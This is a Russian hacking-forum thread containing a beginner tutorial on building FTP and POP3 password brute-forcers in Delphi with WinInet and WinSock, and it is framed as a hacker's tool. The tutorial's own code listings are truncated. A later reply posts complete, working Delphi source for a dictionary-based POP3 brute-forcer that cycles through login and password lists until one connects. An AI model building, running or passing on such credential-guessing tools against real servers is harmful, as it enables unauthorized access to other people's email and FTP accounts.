![]() |
Брутофорсер на Delphi для новичков.
Брутофорсер – важный инструмент любого хакера. Конечно, есть много готовых решений, типа виндового Brutos’а и nixовой Гидры. Но куда приятней пользоваться собственноручно написанной программой, которая отвечает всем твоим требованиям.
Эта статья рассчитана на новичков, желающих разобраться в сетевом программировании. Итак, наш Брутофорсер будет подбирать пасы по протоколам FTP и POP3. Причем при работе с FTP мы будем пользоваться функциями Internet Api, а пароли к мылу будем подбирать с помощью сокетов. FTP В принципе можно разобрать протокол FTP, прочитав RFC 959, и реализовать брутофорсер, используя сокеты. Но зачем идти длинным путем, когда в Винду встроены функции для удобной работы не только с FTP, а еще и с HTTP, Gopher. Все это реализовано в библиотеке WinInet.dll. Начинать работу с библиотекой стоит с использования функций InternetOpen. Функция принимает 5 параметров: lpszAgent, dwAccessType, IpszProxy, IpszProxyBypass, dwFlags – и вернет значение типа HINTERNET, который нам понадобится в дальнейшем. Первый параметр – IpzAgent. Строка, передаваемая серверу, содержащие имя программы пославшей ее. Например, Ослик передает строчку «Microsoft Internet Explorer». Следующий параметр (dwAccessType) задает свойства доступа. Может принимать такие значения INTERNET_OPEN_TYPE_DIRECT (все имена хостов обрабатываются на нашем компьютере), INTERNET_OPEN_TYPE_PROXY (использует прокси-сервера), INTERNET_OPEN_TYPE_PRECONFIG (устанавливает все значения из реестра(HKEY_CURRENT_USER\Software\Microsof t\Windows\CurrentVersion\Internet Settings)). IpzProxy – адрес прокси-сервера, учитывается только в случае INTERNET_OPEN_TYPE_PROXY, в остальных случаях смело можно писать nil. IpszProxyBypass –список имен и айпишников, связь с которыми нужно устанавливать в обход проксей. И наконец последней параметр – dwFlags. Он задает параметры, влияющие на Internet-функции. Пример использования: hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONF IG,nil,nil,0); После вызова InternetOpen нужно соединиться с FTP-сервером и залогиниться на нем. Делается это при помощи функции InternetConnect. Параметры функции: HInet – Указатель на соеденение, полученный с помощью InternetOpen. IpszServerName – имя или IP-адрес сервера, с которым нужно связаться. nServerPort – номер порта, с которым нужно соедениться (Стандартный порт для FTP-сервера – 21). IpszUserName – Имя пользователя, под которым нужно войти на сервер. IpszPassword – пароль пользователя. dwService – задает сервис. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOHER, INTERNET_SERVICE_HTTP. Пример использования: hconnect:=InternetConnect(hInet,’localhost’,21 ,’admin’,’admin’,INTERNET_SERVICE_FTP,0,0) ; Теперь, если InternetConnect вернул nil, то связка логина и паса некорректная (хотя может быть так, что админ запалил перебор, и внес наш IP-адрес в black-лист). Если такого не произошло, то мы получаем указатель на установленное соединение. Далее мы можем просто вывести на экран сообщение о успешном подборе, а можем закачать, скачать, удалить файл. Делается при помощи функций FtpPutFile, FtpGetFile, FtpDeleteFile. На этой радостной ноте я хочу закончить с рассказом о FTP-брутофорсере и InternetApi и плавно перейти к подбору пасов для мыла. Код:
{ML2 FTP BRUTER v 0.01aУвы, Microsoft не упростила нам жизнь, и работу по протоколу POP3 нам прийдется реализовать на сокетах. Мы будем использовать библиотеку WinSock. Для начала разберемся, что такое сокет. Это виртуальный сетевой канал, который можно использовать для соеденения с любым портом сервера. Теперь разбуремся с работой сокетов. Сначала нам нужно инициализировать библиотеку WinSock. Для этого нужно воспользоваться функцией WSAStartup, которая принимает два параметра: Первый – наивысшая версия WinSock, которую можно использовать. Второй структура типа TWSAData, в которой будет сохранена информация о WinSock. Далее нужно инициализировать сокет при помощи функции socket. Параметры: Af – Тип использоваемой адресации. Struckt – Базовый протокол. Для TCP нужно писать Sock_stream, для UPD – SOCK_DGRAM. Protocol – протокол по которому будем общаться с сервером. Пример использования: FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); Для соединения нужно подготовить структуру типа TSockAddr. Основные поля, которые нужно заполнить – sin_family, sin_addr, sin_port. Sin_family – семейство используемой адресации, sin_addr – IP-адрес сервера. Sin_port – порт подключаемого сервера. Пример использования: addr.sin_family:= AF_INET; addr.sin_addr:= 127.0.0.1; addr.sin_port:= htons(101); Теперь соединяемся с сокетом. Функция connect, у которой есть три параметра: Переменная сокет, структура типа TSockAddr, размер структуры, который можно получить при помощи функции SizeOf. Пример использования: connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn)); Отправить серверу строку можно при помощи функции send. Принимающей четыре параметра: Переменная сокет, Строка, размер строки, флаги. Пример использования. send(FSocket,str,lstrlen(str),0); Ответ сервера принимаем при помощи функции recv. Параметры: переменная сокет, буфер для ответа, размер буфера, флаги. recv(FSocket,Buf,255,0); Полностью протокол POP3 нам разбирать не стоит. Нам нужны только две команды – user и pass. При успешной авторизации сервер нам выдаст ответ “+OK”, при ошибке – “-ERR”. Так проверяя ответы сервера, можно узнать успешно ли мы залогинились. If Buf[1]=’+’ then Writeln(‘true’) else Writeln(‘false’); Вот полный код брутофорсера: Код:
{ML2 POP3 BRUTER v 0.01a |
кому нада готовые сорцы выложить?
|
отлично,спасибо огромное за статью,давно хотел в этом разобратся =) и почитать иныу об этом
|
молодец. Думаю это будет полезно для новичков.
Только вот лучше сменить цвет у кода, а то никто ничего не видит. ++ |
Да вроде его, кроспостинг на ещё одном рейсусе.
http://exploit.in/forum/index.php?showtopic=2609 |
вот неплохой ПОП3 брут по словарику пашет хорошо правда надо доработать с сохранением сессий и конечноже полным перебором
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdPOP3, StdCtrls, IdAntiFreezeBase, IdAntiFreeze; type TForm1 = class(TForm) Label1: TLabel; Edit1: TEdit; Edit2: TEdit; Label2: TLabel; Label3: TLabel; Edit3: TEdit; Label4: TLabel; Edit4: TEdit; Button1: TButton; IdAntiFreeze1: TIdAntiFreeze; IdPOP31: TIdPOP3; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var LoginStrings, PassStrings:TStrings; i, j:Integer; begin //Создаём массив строк LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Загружаем словари логина и пассов LoginStrings.LoadFromFile(Edit1.Text); PassStrings.LoadFromFile(Edit2.Text) ; //адрес ПОП3 сервака и порт IdPOP31.Host := Edit3.Text; IdPOP31.Port := StrToInt(Edit4.Text); //начинается перебор for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin IdPOP31.Username := LoginStrings.Strings[i]; IdPOP31.Password := PassStrings.Strings[j]; //Соединение try IdPOP31.Connect; except end; if IdPOP31.Connected then begin //Показывает пароль если он найден Application.MessageBox(PChar(LoginStrings.Strings[i]+ PassStrings.Strings[j]), 'Ïàðîëü íàéäåí'); IdPOP31.Disconnect; Exit; end; end; //уничтожаем массивы строк LoginStrings.Free; PassStrings.Free; end; end. |
| Время: 04:04 |